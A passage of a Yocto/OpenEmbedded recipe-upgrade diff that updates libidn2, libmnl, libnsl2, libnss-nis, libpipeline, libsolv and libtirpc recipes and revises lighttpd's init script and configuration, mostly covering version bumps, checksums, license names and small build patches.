59PACKAGES =+ "bsdcpio" 60PACKAGES =+ "bsdcpio"
60FILES_bsdcpio = "${bindir}/bsdcpio" 61FILES:bsdcpio = "${bindir}/bsdcpio"
61 62
62ALTERNATIVE_bsdcpio = "cpio" 63ALTERNATIVE:bsdcpio = "cpio"
63ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio" 64ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
64ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio" 65ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
65 66
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.0.bb b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
index 7adf924aeb..7ae933e047 100644
--- a/meta/recipes-extended/libidn/libidn2_2.3.0.bb
+++ b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
@@ -2,16 +2,17 @@ SUMMARY = "Internationalized Domain Name support library"
2DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group." 2DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
3HOMEPAGE = "http://www.gnu.org/software/libidn/" 3HOMEPAGE = "http://www.gnu.org/software/libidn/"
4SECTION = "libs" 4SECTION = "libs"
5LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+" 5LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later & Unicode-DFS-2016"
6LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
7 file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \ 7 file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
8 file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 8 file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
9 file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \ 9 file://COPYING.unicode;md5=684cf5f7e3fded3546679424528261a9 \
10 file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f" 10 file://src/idn2.c;endline=16;md5=afc1531bda991ba6338e33a7eff758a0 \
11 file://lib/idn2.h.in;endline=27;md5=f88d218005a5c45b68a83cecb5bd7f26 \
12 "
11 13
12SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz" 14SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
13SRC_URI[md5sum] = "01c5084995295e519f95978ae9785ee0" 15SRC_URI[sha256sum] = "4c21a791b610b9519b9d0e12b8097bf2f359b12f8dd92647611a929e6bfd7d64"
14SRC_URI[sha256sum] = "e1cb1db3d2e249a6a3eb6f0946777c2e892d5c5dc7bd91c74394fc3a01cab8b5"
15 16
16DEPENDS = "virtual/libiconv libunistring" 17DEPENDS = "virtual/libiconv libunistring"
17 18
@@ -21,12 +22,12 @@ EXTRA_OECONF += "--disable-rpath \
21 --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \ 22 --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
22 " 23 "
23 24
24do_install_append() { 25do_install:append() {
25 # Need to remove any duplicate whitespace too for reproducibility 26 # Need to remove any duplicate whitespace too for reproducibility
26 sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc 27 sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
27} 28}
28 29
29LICENSE_${PN} = "(GPLv2+ | LGPLv3)" 30LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only) & Unicode-DFS-2016"
30LICENSE_${PN}-bin = "GPLv3+" 31LICENSE:${PN}-bin = "GPL-3.0-or-later"
31 32
32BBCLASSEXTEND = "native nativesdk" 33BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
index b55bb311f6..748326c0a0 100644
--- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
+++ b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
@@ -3,12 +3,11 @@ DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, p
3 functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs." 3 functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
4HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html" 4HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
5SECTION = "libs" 5SECTION = "libs"
6LICENSE = "LGPLv2.1+" 6LICENSE = "LGPL-2.1-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" 7LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
8 8
9SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar" 9SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2"
10SRC_URI[tar.md5sum] = "be9b4b5328c6da1bda565ac5dffadb2d" 10SRC_URI[sha256sum] = "274b9b919ef3152bfb3da3a13c950dd60d6e2bcd54230ffeca298d03b40d0525"
11SRC_URI[tar.sha256sum] = "171f89699f286a5854b72b91d06e8f8e3683064c5901fb09d954a9ab6f551f81"
12 11
13inherit autotools pkgconfig 12inherit autotools pkgconfig
14 13
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index badb71d977..8cc1f7cec3 100644
--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -5,16 +5,16 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
5DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\ 5DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
6 it was part of glibc and now is standalone packages. it also supports IPv6" 6 it was part of glibc and now is standalone packages. it also supports IPv6"
7HOMEPAGE = "https://github.com/thkukuk/libnsl" 7HOMEPAGE = "https://github.com/thkukuk/libnsl"
8LICENSE = "LGPL-2.1" 8LICENSE = "LGPL-2.1-only"
9LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" 9LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
10SECTION = "libs" 10SECTION = "libs"
11DEPENDS = "libtirpc" 11DEPENDS = "libtirpc"
12 12
13PV = "1.3.0" 13PV = "2.0.1"
14 14
15SRCREV = "fbad7b36acaa89a54023930af70805649f962999" 15SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
16 16
17SRC_URI = "git://github.com/thkukuk/libnsl \ 17SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
18 " 18 "
19 19
20S = "${WORKDIR}/git" 20S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
index a1d914e871..f0e687c330 100644
--- a/meta/recipes-extended/libnss-nis/libnss-nis.bb
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -8,16 +8,16 @@ This code was formerly part of glibc, but is now standalone to\
8be able to link against TI-RPC for IPv6 support." 8be able to link against TI-RPC for IPv6 support."
9 9
10HOMEPAGE = "https://github.com/thkukuk/libnss_nis" 10HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
11LICENSE = "LGPL-2.1" 11LICENSE = "LGPL-2.1-only"
12LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c" 12LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
13SECTION = "libs" 13SECTION = "libs"
14DEPENDS += "libtirpc libnsl2" 14DEPENDS += "libtirpc libnsl2"
15 15
16PV = "3.1+git${SRCPV}" 16PV = "3.2"
17 17
18SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad" 18SRCREV = "cd0d391af9535b56e612ed227c1b89be269f3d59"
19 19
20SRC_URI = "git://github.com/thkukuk/libnss_nis \ 20SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
21 " 21 "
22 22
23S = "${WORKDIR}/git" 23S = "${WORKDIR}/git"
@@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk"
28# 28#
29# We will skip parsing this packagegeoup for non-glibc systems 29# We will skip parsing this packagegeoup for non-glibc systems
30# 30#
31COMPATIBLE_HOST_libc-musl = 'null' 31COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
new file mode 100644
index 0000000000..e61e5aa869
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
@@ -0,0 +1,24 @@
1The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
2than the full code:
3
4https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
5
6Just tweak the exiting code to work with 2.73. The next libpipeline upgrade should
7update to new gnulib
8
9Upstream-Status: Inappropriate
10Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
11
12Index: findutils-4.9.0/gl/m4/largefile.m4
13===================================================================
14--- findutils-4.9.0.orig/gl/m4/largefile.m4
15+++ findutils-4.9.0/gl/m4/largefile.m4
16@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
17 # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
18 # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
19 # or configures them incorrectly in some cases.
20-m4_version_prereq([2.70], [], [
21+m4_version_prereq([2.73], [], [
22
23 # _AC_SYS_LARGEFILE_TEST_INCLUDES
24 # -------------------------------
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
index ee15fd0644..7e3f13ebde 100644
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
@@ -3,11 +3,12 @@ DESCRIPTION = "This is a C library for setting up and running pipelines of proce
3without needing to involve shell command-line parsing which is often \ 3without needing to involve shell command-line parsing which is often \
4error-prone and insecure." 4error-prone and insecure."
5HOMEPAGE = "http://libpipeline.nongnu.org/" 5HOMEPAGE = "http://libpipeline.nongnu.org/"
6LICENSE = "GPLv3" 6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" 7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
8 8
9SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz" 9SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
10SRC_URI[sha256sum] = "5dbf08faf50fad853754293e57fd4e6c69bb8e486f176596d682c67e02a0adb0" 10SRC_URI += "file://autoconf-2.73.patch"
11SRC_URI[sha256sum] = "b8b45194989022a79ec1317f64a2a75b1551b2a55bea06f67704cb2a2e4690b0"
11 12
12inherit pkgconfig autotools 13inherit pkgconfig autotools
13 14
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
1From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 28 Oct 2021 22:28:45 -0700
4Subject: [PATCH] utils: Conside musl when wrapping qsort_r
5
6musl now has implemented qsort_r, the signature however matches glibc
7and not BSD, current check makes it such that it falls into BSD case
8when building for musl, which clearly is wrong, therefore instead of
9just checking for glibc check for linux to decide which qsort_r
10signature to use. This covers both glibc and musl
11
12Upstream-Status: Pending
13
14Signed-off-by: Khem Raj <raj.khem@gmail.com>
15---
16 src/util.c | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/src/util.c b/src/util.c
20index 72426e09..8f29bc5a 100644
21--- a/src/util.c
22+++ b/src/util.c
23@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
24
25 see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
26 */
27-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
28+#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
29
30 void
31 solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
32--
332.33.1
34
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.17.bb b/meta/recipes-extended/libsolv/libsolv_0.7.17.bb
deleted file mode 100644
index 8597ea3edb..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.17.bb
+++ /dev/null
@@ -1,31 +0,0 @@
1SUMMARY = "Library for solving packages and reading repositories"
2HOMEPAGE = "https://github.com/openSUSE/libsolv"
3BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
4SECTION = "devel"
5LICENSE = "BSD-3-Clause"
6LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
7
8DEPENDS = "expat zlib"
9
10SRC_URI = "git://github.com/openSUSE/libsolv.git \
11"
12
13SRCREV = "4bc791c0d235eb14bfe4c5da607206bfdfa6983d"
14
15UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
16
17S = "${WORKDIR}/git"
18
19inherit cmake
20
21PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
22PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_RPMDB_BDB=ON,,rpm"
23
24EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
25
26PACKAGES =+ "${PN}-tools ${PN}ext"
27
28FILES_${PN}-tools = "${bindir}/*"
29FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
30
31BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.28.bb b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
new file mode 100644
index 0000000000..201059323a
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
@@ -0,0 +1,33 @@
1SUMMARY = "Library for solving packages and reading repositories"
2DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
3HOMEPAGE = "https://github.com/openSUSE/libsolv"
4BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
5SECTION = "devel"
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
8
9DEPENDS = "expat zlib zstd"
10
11SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
12 file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
13"
14
15SRCREV = "c8dbb3a77c86600ce09d4f80a504cf4e78a3c359"
16
17UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
18
19S = "${WORKDIR}/git"
20
21inherit cmake
22
23PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
24PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
25
26EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON -DENABLE_ZSTD_COMPRESSION=ON"
27
28PACKAGES =+ "${PN}-tools ${PN}ext"
29
30FILES:${PN}-tools = "${bindir}/*"
31FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
32
33BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
new file mode 100644
index 0000000000..f746f986f4
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
@@ -0,0 +1,52 @@
1From 077bbd32e8b7474dc5f153997732e1e6aec7fad6 Mon Sep 17 00:00:00 2001
2Message-Id: <077bbd32e8b7474dc5f153997732e1e6aec7fad6.1697120796.git.joerg.sommer@navimatix.de>
3From: =?UTF-8?q?J=C3=B6rg=20Sommer?= <joerg.sommer@navimatix.de>
4Date: Thu, 12 Oct 2023 16:22:59 +0200
5Subject: [PATCH] netconfig: remove tcp6, udp6 on --disable-ipv6
6MIME-Version: 1.0
7Content-Type: text/plain; charset=UTF-8
8Content-Transfer-Encoding: 8bit
9
10If the configuration for IPv6 is disabled, the netconfig should not contain
11settings for tcp6 and udp6.
12
13The test for the configure option didn't work, because it check the wrong
14variable.
15
16Signed-off-by: Jörg Sommer <joerg.sommer@navimatix.de>
17Upstream-Status: Submitted [libtirpc-devel@lists.sourceforge.net]
18Upstream-Status: Submitted [linux-nfs@vger.kernel.org]
19---
20 configure.ac | 2 +-
21 doc/Makefile.am | 5 +++++
22 2 files changed, 6 insertions(+), 1 deletion(-)
23
24diff --git a/configure.ac b/configure.ac
25index fe6c517..b687f8d 100644
26--- a/configure.ac
27+++ b/configure.ac
28@@ -64,7 +64,7 @@ fi
29 AC_ARG_ENABLE(ipv6,
30 [AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support @<:@default=no@:>@])],
31 [],[enable_ipv6=yes])
32-AM_CONDITIONAL(INET6, test "x$disable_ipv6" != xno)
33+AM_CONDITIONAL(INET6, test "x$enable_ipv6" != xno)
34 if test "x$enable_ipv6" != xno; then
35 AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
36 fi
37diff --git a/doc/Makefile.am b/doc/Makefile.am
38index d42ab90..b9678f6 100644
39--- a/doc/Makefile.am
40+++ b/doc/Makefile.am
41@@ -2,3 +2,8 @@ dist_sysconf_DATA = netconfig bindresvport.blacklist
42
43 CLEANFILES = cscope.* *~
44 DISTCLEANFILES = Makefile.in
45+
46+if ! INET6
47+install-exec-hook:
48+ $(SED) -i '/^tcp6\|^udp6/d' "$(DESTDIR)$(sysconfdir)"/netconfig
49+endif
50--
512.34.1
52
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.1.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
index 5792264250..aa526e9e1c 100644
--- a/meta/recipes-extended/libtirpc/libtirpc_1.3.1.bb
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
@@ -9,17 +9,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
9 9
10PROVIDES = "virtual/librpc" 10PROVIDES = "virtual/librpc"
11 11
12SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2" 12SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
13 file://ipv6.patch \
14"
13UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/" 15UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
14UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/" 16UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
15SRC_URI[sha256sum] = "245895caf066bec5e3d4375942c8cb4366adad184c29c618d97f724ea309ee17" 17SRC_URI[sha256sum] = "1e0b0c7231c5fa122e06c0609a76723664d068b0dba3b8219b63e6340b347860"
18
19CVE_STATUS[CVE-2021-46828] = "fixed-version: fixed in 1.3.3rc1 so not present in 1.3.3"
16 20
17inherit autotools pkgconfig 21inherit autotools pkgconfig
18 22
19EXTRA_OECONF = "--disable-gssapi" 23PACKAGECONFIG ??= "\
24 ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
25"
26PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
27PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
20 28
21do_install_append() { 29do_install:append() {
22 chown root:root ${D}${sysconfdir}/netconfig 30 test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
23} 31}
24 32
25BBCLASSEXTEND = "native nativesdk" 33BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
1From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Fri, 26 Aug 2016 18:20:32 +0300
4Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
5
6RP 2014/5/22
7Upstream-Status: Pending
8Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
9---
10 configure.ac | 16 ++++++++++++----
11 1 file changed, 12 insertions(+), 4 deletions(-)
12
13diff --git a/configure.ac b/configure.ac
14index 5383cec..c29a902 100644
15--- a/configure.ac
16+++ b/configure.ac
17@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
18 )
19 AC_MSG_RESULT([$WITH_PCRE])
20
21-if test "$WITH_PCRE" != no; then
22- if test "$WITH_PCRE" != yes; then
23- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
24- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
25+if test "$WITH_PCRE" != "no"; then
26+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
27+ PCRE_LIB=${PCREPKG_LIBS}
28+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
29+ ], [
30+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
31+ ])
32+
33+ if test x"$PCRE_LIB" != x; then
34+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
35+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
36+ AC_SUBST(PCRE_LIB)
37 else
38 AC_PATH_PROG([PCRECONFIG], [pcre-config])
39 if test -n "$PCRECONFIG"; then
40--
412.15.0
42
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
index 82fbaa523b..f369dce42c 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
@@ -6,9 +6,14 @@ NAME=lighttpd
6DESC="Lighttpd Web Server" 6DESC="Lighttpd Web Server"
7OPTS="-f /etc/lighttpd/lighttpd.conf" 7OPTS="-f /etc/lighttpd/lighttpd.conf"
8 8
9configtest() {
10 "$DAEMON" $OPTS -tt || exit 1
11}
12
9case "$1" in 13case "$1" in
10 start) 14 start)
11 echo -n "Starting $DESC: " 15 echo -n "Starting $DESC: "
16 configtest
12 start-stop-daemon --start -x "$DAEMON" -- $OPTS 17 start-stop-daemon --start -x "$DAEMON" -- $OPTS
13 echo "$NAME." 18 echo "$NAME."
14 ;; 19 ;;
@@ -17,16 +22,26 @@ case "$1" in
17 start-stop-daemon --stop -x "$DAEMON" 22 start-stop-daemon --stop -x "$DAEMON"
18 echo "$NAME." 23 echo "$NAME."
19 ;; 24 ;;
20 restart|force-reload) 25 restart)
21 echo -n "Restarting $DESC: " 26 echo -n "Restarting $DESC: "
27 configtest
22 start-stop-daemon --stop -x "$DAEMON" 28 start-stop-daemon --stop -x "$DAEMON"
23 sleep 1 29 sleep 1
24 start-stop-daemon --start -x "$DAEMON" -- $OPTS 30 start-stop-daemon --start -x "$DAEMON" -- $OPTS
25 echo "$NAME." 31 echo "$NAME."
26 ;; 32 ;;
33 reload|force-reload)
34 echo -n "Reloading $DESC: "
35 configtest
36 killall -USR1 "${DAEMON##*/}"
37 echo "$NAME."
38 ;;
39 configtest)
40 configtest
41 ;;
27 *) 42 *)
28 N=/etc/init.d/$NAME 43 N=/etc/init.d/$NAME
29 echo "Usage: $N {start|stop|restart|force-reload}" >&2 44 echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
30 exit 1 45 exit 1
31 ;; 46 ;;
32esac 47esac
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
index 6e8402d242..47a6c93349 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
@@ -16,8 +16,6 @@ server.modules = (
16# "mod_redirect", 16# "mod_redirect",
17# "mod_alias", 17# "mod_alias",
18 "mod_access", 18 "mod_access",
19# "mod_cml",
20# "mod_trigger_b4_dl",
21# "mod_auth", 19# "mod_auth",
22# "mod_status", 20# "mod_status",
23# "mod_setenv", 21# "mod_setenv",
@@ -27,11 +25,9 @@ server.modules = (
27# "mod_evhost", 25# "mod_evhost",
28# "mod_userdir", 26# "mod_userdir",
29# "mod_cgi", 27# "mod_cgi",
30# "mod_compress",
31# "mod_ssi", 28# "mod_ssi",
32# "mod_usertrack",
33# "mod_expire", 29# "mod_expire",
34# "mod_secdownload", 30# "mod_deflate",
35# "mod_rrdtool", 31# "mod_rrdtool",
36# "mod_webdav", 32# "mod_webdav",
37 "mod_accesslog" ) 33 "mod_accesslog" )
@@ -47,9 +43,6 @@ server.errorlog = "/www/logs/lighttpd.error.log"
47index-file.names = ( "index.php", "index.html", 43index-file.names = ( "index.php", "index.html",
48 "index.htm", "default.htm" ) 44 "index.htm", "default.htm" )
49 45
50## set the event-handler (read the performance section in the manual)
51# server.event-handler = "freebsd-kqueue" # needed on OS X
52
53# mimetype mapping 46# mimetype mapping
54mimetype.assign = ( 47mimetype.assign = (
55 ".pdf" => "application/pdf", 48 ".pdf" => "application/pdf",
@@ -115,7 +108,6 @@ mimetype.assign = (
115 108
116#### accesslog module 109#### accesslog module
117accesslog.filename = "/www/logs/access.log" 110accesslog.filename = "/www/logs/access.log"
118debug.log-request-handling = "enable"
119 111
120 112
121 113
@@ -127,10 +119,6 @@ debug.log-request-handling = "enable"
127# of the document-root 119# of the document-root
128url.access-deny = ( "~", ".inc" ) 120url.access-deny = ( "~", ".inc" )
129 121
130$HTTP["url"] =~ "\.pdf$" {
131 server.range-requests = "disable"
132}
133
134## 122##
135# which extensions should not be handle via static-file transfer 123# which extensions should not be handle via static-file transfer
136# 124#
@@ -177,6 +165,7 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
177#dir-listing.activate = "enable" 165#dir-listing.activate = "enable"
178 166
179## enable debugging 167## enable debugging
168#debug.log-request-header-on-error = "enable"
180#debug.log-request-header = "enable" 169#debug.log-request-header = "enable"
181#debug.log-response-header = "enable" 170#debug.log-response-header = "enable"
182#debug.log-request-handling = "enable" 171#debug.log-request-handling = "enable"
@@ -194,8 +183,9 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
194#server.groupname = "wwwrun" 183#server.groupname = "wwwrun"
195 184
196#### compress module 185#### compress module
197#compress.cache-dir = "/tmp/lighttpd/cache/compress/" 186#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
198#compress.filetype = ("text/plain", "text/html") 187#deflate.mimetypes = ("text/plain", "text/html")
188#deflate.allowed-encodings = ("gzip")
199 189
200#### proxy module 190#### proxy module
201## read proxy.txt for more info 191## read proxy.txt for more info
@@ -227,7 +217,8 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
227 217
228#### SSL engine 218#### SSL engine
229#ssl.engine = "enable" 219#ssl.engine = "enable"
230#ssl.pemfile = "server.pem" 220#ssl.pemfile = "/path/to/fullchain.pem"
221#ssl.privkey = "/path/to/privkey.pem"
231 222
232#### status module 223#### status module
233#status.status-url = "/server-status" 224#status.status-url = "/server-status"
@@ -291,19 +282,6 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
291#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" ) 282#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
292#setenv.add-response-header = ( "X-Secret-Message" => "42" ) 283#setenv.add-response-header = ( "X-Secret-Message" => "42" )
293 284
294## for mod_trigger_b4_dl
295# trigger-before-download.gdbm-filename = "/home/weigon/testbase/trigger.db"
296# trigger-before-download.memcache-hosts = ( "127.0.0.1:11211" )
297# trigger-before-download.trigger-url = "^/trigger/"
298# trigger-before-download.download-url = "^/download/"
